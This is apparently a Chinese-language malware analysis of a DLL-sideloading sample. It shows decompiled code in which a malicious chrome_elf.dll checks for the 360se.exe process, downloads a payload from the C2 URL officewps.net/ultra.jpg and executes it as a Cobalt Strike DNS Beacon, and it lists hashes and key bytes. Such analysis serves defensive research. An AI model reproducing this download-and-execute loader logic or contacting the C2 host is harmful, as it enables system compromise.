  WCHAR pszPath; // [sp+32Eh] [bp-628h]@40
  __int16 v60; // [sp+330h] [bp-626h]@43
  WCHAR LibFileName; // [sp+53Eh] [bp-418h]@1
  char v62; // [sp+746h] [bp-210h]@1

  v4 = a1;
  v37 = 0;
  v43 = a1;
  sub_46C650(&LibFileName, 0, 520);
  sub_46C650(Filename, 0, 520);
  v5 = GetModuleFileNameW(0, Filename, 0x104u);
  sub_46C650(&v62, 0, 520);
  sub_404051();
  v6 = 0;
  if ( v5 )
  {
    v7 = &v57[2 * v5];
    while ( *(_WORD *)v7 != 92 )
    {
      ++v6;
      v7 -= 2;
      if ( v6 >= v5 )
        goto LABEL_5;
    }
    v16 = v5 - v6;
    if ( (unsigned int)(v16 * 2) >= 0x208 )
    {
      sub_4695CB();
      __debugbreak();
      JUMPOUT(*(_DWORD *)sub_405746);
    }
    Filename[v16] = 0;
  }
LABEL_5:
  sub_4067EF(&LibFileName, 260, (const char *)L"%s%s\\chrome_elf.dll", (unsigned int)Filename);  // 调用同级目录下的chrome_elf.dll
  if ( sub_4720EE(&LibFileName, 0) == -1 )
    sub_4067EF(&LibFileName, 260, (const char *)L"%schrome_elf.dll", Filename);
  v8 = LoadLibraryW(&LibFileName);
  if ( v8 )
  {
    v9 = (void (*)(void))GetProcAddress(v8, "SignalInitializeCrashReporting");
    //调用函数 SignalInitializeCrashReporting
    if ( v9 )
      v9();
  }
  v10 = dword_4C6C90;
  if ( !dword_4C6C90 )
  {
    sub_4114E0();
    v10 = dword_4C6C90;
  }
  LODWORD(ThreadId) = "type";
  HIDWORD(ThreadId) = sub_40129C("type");
  sub_411D20(&v46, &ThreadId);
  sub_403D80();
  v11 = v47;
  if ( !v47 )
  {
    LODWORD(ThreadId) = 0;
    v12 = CreateThread(0, 0, sub_404B39, 0, 0, (LPDWORD)&ThreadId);
    CloseHandle(v12);
  }
  sub_41B730(&ThreadId);
  sub_4019CA(L"chrome_elf.dll");
  LODWORD(ThreadId) = sub_40402A(&v45);
  sub_401A47(1, 0);
  if ( (_DWORD)ThreadId )
  {
    v13 = (void (*)(void))GetProcAddress((HMODULE)ThreadId, "SignalChromeElf");
    if ( v13 )
      v13();
  }
  sub_425450(&v38);
  sub_41B220(&v39);

进行C2解密及后门释放

SHA256 a2d2b9a05ed5b06db8e78b4197fc5ea515f26d5626d85f3b1b39210d50552af3
MD5 3b132e407474bc1c830d5a173428a6e1
文件格式 DLL
文件名 chrome_elf.dll
文件大小 191KB

chrome_elf.dll 在DLLMain 即loadlibray 初始化 中同时调用 相同的解密方法(见加解密说明),进行后门解密

秘钥
.rdata:10024848 qword_10024848  dq 6D754E406E214843h    ; DATA XREF: sub_10001300+40r
.rdata:10024850 qword_10024850  dq 5352306631723338h    ; DATA XREF: sub_10001300+56r
.rdata:10024858 qword_10024858  dq 6B304A306E337275h    ; DATA XREF: sub_10001300+67r

https://officewps.net/ultra.jpg

C2:officewps.net

在 SignalInitializeCrashReporting 函数调用时

void __noreturn SignalInitializeCrashReporting()
{
  void **v0; // edx@2
  int v1; // ecx@5
  __int16 v2; // [sp-18h] [bp-40h]@4
  int v3; // [sp-14h] [bp-3Ch]@7
  int v4; // [sp-10h] [bp-38h]@7
  int v5; // [sp-Ch] [bp-34h]@7
  SIZE_T v6; // [sp-8h] [bp-30h]@4
  int v7; // [sp-4h] [bp-2Ch]@4
  int v8; // [sp+Ch] [bp-1Ch]@8
  unsigned int v9; // [sp+1Ch] [bp-Ch]@7

  if ( !sub_10001870() )   //判断是否存在360se.exe 进程
  {
    v0 = &dword_100289F8;
    if ( (unsigned int)dword_10028A0C >= 8 )
      v0 = (void **)dword_100289F8;
    v7 = 7;
    v6 = 0;
    v2 = 0;
    if ( *(_WORD *)v0 )
      v1 = wcslen((const unsigned __int16 *)v0);
    else
      v1 = 0;
    sub_10004070((int)&v2, v0, v1);
    sub_10001E80(*(LPCWSTR *)&v2, v3, v4, v5, v6, v7); //调用URL 下载后门
    if ( v9 > 0xA )
    {
      v7 = 15;
      v6 = 0;
      LOBYTE(v2) = 0;
      sub_100032A0((int)&v8, 0, 0xFFFFFFFF);
      sub_10002040(*(void **)&v2, v3, v4, v5, v6, v7); //执行后门payload 
    }
    Sleep(0xFFFFFFFF);
  }
  ExitProcess(1u);
}


判断360se.exe是否运行
  pe.dwSize = 556;
  v1 = CreateToolhelp32Snapshot(2u, 0);
  if ( Process32FirstW(v1, &pe) && Process32NextW(v1, &pe) )
  {
    while ( 1 )
    {
      if ( !_wcsicmp(pe.szExeFile, L"360se.exe") )
      {
        ++v0;
        if ( v0 == 4 )
          break;
      }
      if ( !Process32NextW(v1, &pe) )
        goto LABEL_6;



样本下载:
  v8 = InternetOpenW(L"update", 0, 0, 0, 0);
  v9 = &lpszUrl;
  if ( (unsigned int)a6 >= 8 )
    v9 = (void *)lpszUrl;
  hInternet = v8;
  v10 = InternetOpenUrlW(v8, (LPCWSTR)v9, 0, 0, 0, 0);
  if ( v10 && dwNumberOfBytesRead )
  {
    do
    {
      InternetReadFile(v10, &Buffer, 0x400u, &dwNumberOfBytesRead);


后门采用的是

Cobalt Strike之DNS Beacon 即 DNS 通信后门

通信指令采用数字表示,针对DNS隧道通信后续进行专门识别。

参考链接:

https://www.freebuf.com/articles/network/201836.html https://www.freebuf.com/sectool/127125.html